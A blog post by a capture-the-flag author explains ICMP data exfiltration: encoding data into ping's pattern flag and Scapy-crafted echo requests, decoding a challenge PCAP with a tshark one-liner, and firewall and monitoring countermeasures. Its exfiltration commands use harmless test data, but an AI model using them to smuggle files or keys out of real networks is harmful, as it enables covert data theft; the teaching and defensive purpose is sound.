Introduction

2 years after my VLAN Hopping article I finally found time (and motivation) to write a new post about data exfiltration through a very common underestimated network protocol! This year at Root-Me, we held Root-Xmas, our own advent calendar consisting of 24 challenges (1 per day :)).

I was able to create a few challenges that kept some players busy. However I noticed that one particular challenge which I thought would be trivial when I created it ended up being slightly more complicated than expected and multiple people who flagged it had in the end not really understood much…

This challenge ‘Wrapped Gift’ was available in the Network category and consisted of detecting and decoding an ICMP Exfiltration made with the ping tool.

At first we’ll go through a few reminders about what ICMP is and how it’s a very powerful network protocol, then we’ll dive into the resolution of my challenge. Finally, we will look at the mechanisms used to block/detect data exfiltration via this protocol.

If you’re only interested in the resolution of the challenge, you can directly jump to the resolution

ICMP

Reminders

📖 The Internet Control Message Protocol (ICMP) is a supporting protocol in the Internet protocol suite. It is used by network devices, including routers, to send error messages and operational information indicating success or failure when communicating with another IP address (Wikipedia)

Often wrongly simplified as a ping (which are actually ICMP echo requests and replies, ping is only the utility), the ICMP protocol (layer 3 on the OSI model, level 2 on the TCP/IP one) allows a very wide range of possibilities. It’s a powerful debugging tool for network engineers, system administrators and anyone wanting to understand why sometimes things aren’t working as expected.

mfw_meme

⚠️ the ICMP protocol is only intended to work over the IPv4 stack, ICMPv6 is the protocol used with the IPv6 stack :).

ICMP carries ‘messages’ that will hand in information about a network’s state, availability or reachability. These messages can be sent from any host, whether it’s an ’end asset’ (computer, printer…) or a router. The different possible messages are reffered to as types and codes. Here is a non-exhaustive table of a few important/well-known types and codes:

Type Code Descripition
0 (Echo) 0 Echo reply
3 (Destination unreachable) 0 Destination network unreachable
3 (Destination unreachable) 1 Destination host unreachable
3 (Destination unreachable) 9 Network administratively prohibited
3 (Destination unreachable) 10 Host administratively prohibited
8 (Echo) 0 Echo request
11 (Time exceeded) 0 Time to live (TTL) expired in transit

Even if you’re not very familiar with network protocols etc, you may have noticed that the ICMP protocol can come out to be very handy for debugging purposes but also very dangerous, allowing an attacker to enumerate networks that are administratively prohibited for example…

ICMP packet structure

Let’s take the most common of the ICMP packets you can encounter, echo replies and requests, and walk through their structure (we won’t analyse anything linked to the Ethernet/IP protocols). Typically, here is the structure of a packet making use of ICMP (using ping on a Debian based system):

icmp_packet

Now let’s dive straight into the ICMP details of an echo request: icmp_detail

We can see that the packet is made of:

  • ICMP type
  • ICMP code
  • ICMP checksum
  • identifier, a unique number used only during the current ICMP exchange
  • sequence number, the n-th ICMP message of the exchange
  • timestamp, the time at which the ICMP echo was initiated
  • data/payload contained at the end of the packet

⚠️ The ICMP RFCs (RFC792, RFC4884) do not specify any data/payload length. Actually, the ICMP protocol is very permissive, lots of things are subject to constructor implementation which means that ICMP is also very useful for OS fingerpriting, see this paper for an introduction to ICMP fingerprinting.

According to RFC792, here is the structure of an echo reply/request:

0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |     Code      |          Checksum             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Identifier          |        Sequence Number        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Data ...
+-+-+-+-+-

We can notice a few differences with the packet we sent. As said, the implementations of the ICMP protocol is subject to ’local’ adaptations, which means that here, ping uses part of the data to transmit a timestamp.

The data section

To craft a valid icmp request packet, you only need 5 things, a valid ICMP header:

  • Type
  • Code
  • Checksum
  • Identifier
  • Sequence Number

To prove our point, here is a valid ICMP echo request/reply to my own server from my laptop: icmp_no_data

We will notice that there’s no ICMP data in this request (use of the -s flag to specify data size).

╰─λ ping bwlryq.net -c 1 -s 0
PING bwlryq.net (51.91.27.213) 0(28) bytes of data.
8 bytes from bwlryq.net (51.91.27.213): icmp_seq=1 ttl=51

--- bwlryq.net ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms

Here is an other example with data this time: icmp_with_data

╰─λ ping bwlryq.net -c 1
PING bwlryq.net (51.91.27.213) 56(84) bytes of data.
64 bytes from bwlryq.net (51.91.27.213): icmp_seq=1 ttl=51 time=47.5 ms

--- bwlryq.net ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 47.500/47.500/47.500/0.000 ms

But then, if an ICMP echo request/reply packet is valid, even without data, what’s its point? Why is it even useful to have this? Well remember, one of the main purposes of ICMP is to be a debugging tool, which is what creates its dangerosity. Having the ability to add ‘random’ data at the end of our ICMP message allows multiple things:

  • Test that there’s no alteration of the packet between our host and the distant one
  • Have a more ‘realistic’ size for packets
  • Check and deal with Maximal Transmission Unit (MTU) which is the maximum allowed size of a packet before being fragmented.

Data exfiltration

As with its size, RFC792 does not specify what the content of the data transmitted must be in order to form a valid packet, which means that anything can be transmitted. According to the man from ping, the -p flag says that:

‘You may specify up to 16 “pad” bytes to fill out the packet you send. This is useful for diagnosing data-dependent problems in a network. For example, -p ff will cause the sent packet to be filled with all ones.’

Let’s try something out by converting a simple message to hex (so that ping takes it) using some bash magic:

user@laptop in ⌁
╰─λ echo -n "Hello readers" | od -A n -t x1 | tr -d ' '
48656c6c6f2072656164657273
╭─user@laptop in ⌁
╰─λ ping bwlryq.net -c 1 -p '48656c6c6f2072656164657273'
PATTERN: 0x48656c6c6f2072656164657273
PING bwlryq.net (51.91.27.213) 56(84) bytes of data.
64 bytes from bwlryq.net (51.91.27.213): icmp_seq=1 ttl=51 time=34.0 ms

--- bwlryq.net ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 34.015/34.015/34.015/0.000 ms

Viewing our ICMP message in Wireshark, we can clearly see our Hello readers got sent through the ICMP echo request (and in the reply, trust me): icmp_exfil_1

Using this technique, it’s possible to send any kind of data (as long as it’s properly encoded) through ICMP requests, the longer the data to exfiltrate, the more ICMP requests you’ll need (data size is increasable of course, to stash more data in one single packet). Obviously, it’ll also be possible to automate the whole process using any programming/scripting language.

success

Removing padding to input more data

One ‘annoying’ thing with data exfiltration using ping is that we are limited to 16 bytes per packet using the -p flag, this soon enough arises as a very strong limitation. Once again, RFC792 doesn’t sate anything about the data being ‘cylic’ and repetitive, it’s just the way ping was implemented.

Let’s get rid of this 16 bytes limit! If you’ve once tried manipulating network packets, you certainly know about Scapy (if not, ask your favourite search engine or any GPT). Using Scapy we’re going to be able to craft our own ICMP echo request and send over any data:

from scapy.all import ICMP, IP, sr
from pwn import cyclic

sr(IP(dst='bwlryq.net')/ICMP(type=8, code=0, id=0x1337, seq=1)/cyclic(56))

# if you don't manually set id and seq, Scapy will set them at 0 and remote hosts will have an invalid checksum when replying
# 56 bytes because 48 bytes of Data + timestamp to replicate the ping command

'''Output:
Begin emission
...
Finished sending 1 packets
*
Received 1 packets, got 1 answers, remaining 0 packets
(<Results: TCP:0 UDP:0 ICMP:1 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)
'''

Checking the results in our favourite network analysers: no_padding_exfil

We can confirm that the data was properly sent without any repetition. In the end, by staying within the ‘limits’ of a standard ICMP message (data size varies slightly based on the OS), without too much effort, we have multiplied our sending capacity by 3.5 (still not much, but better than anything).

cool

Wrapped Gift challenge

Statement

Now let’s take a glance at what was made to tickle players. This challenge I built was Day 2 of Root-Me’s 2024 advent calendar.

Name Description Difficulty Author Number of solves
WrappedGift According to our information, one of our auditors’ workstations has been compromised, and some even claim that data has been exfiltrated. Here’s a network capture from the suspected workstation. Can you confirm the diagnosis made by our experts? Easy Mika 292

Download

PCAP analysis

According to the statement, data has been exfiltrated from someone’s computer. The first thing to do when we’re provided with a rather large PCAP file (16k packets here) is to try and get a first idea of what it contains.

pcap_review

The Protocol Hierarchy under the Statistics menu is often a good starting point: protocol_hierarchy

The first thing we can notice is that we have very few protocols:

  • DNS
  • ICMP
  • HTTP
  • TLS (which isn’t really a protocol in itself)
  • QUIC

QUIC and TLS being encrypted, unless we’re hinted that there’s a way for us to decrypt them, we can put them aside at first. The following Wireshark filter: (dns || http || data || icmp) allows us to go down to 486 packets which is way more readable.

Further analysis of DNS queries shows nothing indicating that there is any data that has been exfiltrated through DNS Exfiltration.

Removing DNS from our filter, the next protocol largely present is ICMP. Going through the packets we can see that at each message to a certain server (212.129.38.224), the data sent is different which isn’t common (even if the length is the same): exfil_1

exfil_1

And it goes on and on for all the requests…

Data extraction

The data seems to be sent in the hex format, if we try decoding it (as from where it’s hex, so 45 72 72...):

╭─user@laptop in ⌁
╰─λ echo -n "34353732373236663732336132303730343537323732366637323361323037303435373237323666" | xxd -r -p
4572726f723a20704572726f723a20704572726f
╭─user@laptop in ⌁
╰─λ echo -n "4572726f723a20704572726f723a20704572726f" | xxd -r -p
Error: pError: pErro

We indeed get some nice piece of data, just need to apply it to the whole capture. We can build the following one-liner:

╰─λ tshark -r ./chall.pcapng -Y 'icmp && ip.dst == 212.129.38.224' -T fields -e data | cut -c 17-48 | xxd -r -p | tr -d '\0' | xxd -r -p
Error: ping: invalid argument: 'www.root-me.org'
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2024.3"
VERSION="2024.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"
Hey you found me! Well done!RM{M3rry_Chr1stM4s_R00T-M3}

🔎 We cut the 8 first bytes at the start of the data and only get the 32 first characters (16 bytes) because the rest is padding that we don’t need :).

We seem to have three different things in this output, a ping that ended up in an error because the command was wrong, the content of the /etc/os-release file, and finally, our flag!

Counter measures and mitigations

As we’ve seen, ICMP is some kind of a thing that allows to do more than simple tests to see if a host is reachable somewhere on the network (or Internet). Which is why we’ll now look through different ways of reducing the possibility of your data being exfiltrated through this method.

Filtering

The first option (and the most effective) is to simply administratively block ICMP requests on your networks (using firewalls). There is no reason why end-users or assets (servers, printers…) would need to make use of such a protocol (outside of supervision).

Simply drop ICMP originating from anything that is not a supervision server and disallow any ICMP to go out on the Internet (or restrict to a limited number of trusted hosts). Now if as a network administrator you need to use ICMP, just allow it for the time of use for the right hosts, no any any rules, right? :).

no_icmp

Detection

Now, it’s easy to tell people to simply drop a protocol, in practice it’s not that simple. I’ve witnessed a lot of company networks still allowing ICMP (for many good and bad reasons), which is why one solution is to monitor the network using monitoring solutions, look for:

  • abnormally long ICMP data length
  • ICMP packets to untrusted hosts
  • high entropy for the ICMP data

Conclusion

Make the data less visible through packet analysis

One would say that in the above examples, the data exfiltration is easily spottable by just seeking through a Wireshark capture and they would be totally right.

The purpose of my challenge is not to make some Threat Actor like exfiltration (not that they actually use this technique) but rather have people participating in our event to learn new things. If we really wanted to hide the data, we could easily use (for example):

  • base64 encoding
  • zlib compression
  • encryption

It would even be possible to chain all the above together and making an analyst’s work way harder.

Detection by security solutions

I haven’t been able to put my hands on some enterprise ready anti-virus, EDR, IPS, IDS solutions to test whether ICMP exfiltration was blocked or not, what is sure is that typical AV’s like Defender (even with azure cloud options (blablabla) toggled on) do not detect anything. If ever some of you readers have more reliable data, I will gladly give you credit (if asked) and update this section :).

Solution Type Detects ICMP exfil
Windows Defender AV No
Netskope IDS Yes

Personnal thoughts

Even if ICMP exfiltration isn’t very common (due to many limitations) it can still come in use more than once, you don’t need many requests to exfiltrate a private key for example (quick win). If ever you think there are some precisions/fixes that should be applied to this post hit me up on socials, Twitter or on Discord: @mvka.

You made it this far! First of all thanks for your precious time and reading this article. Don’t hesitate to share it on socials if you enjoyed it. Kudos to all the amazing guys from Root-Me community and staff who made this event possible by providing challenges and their time <3.

See you in a year or two!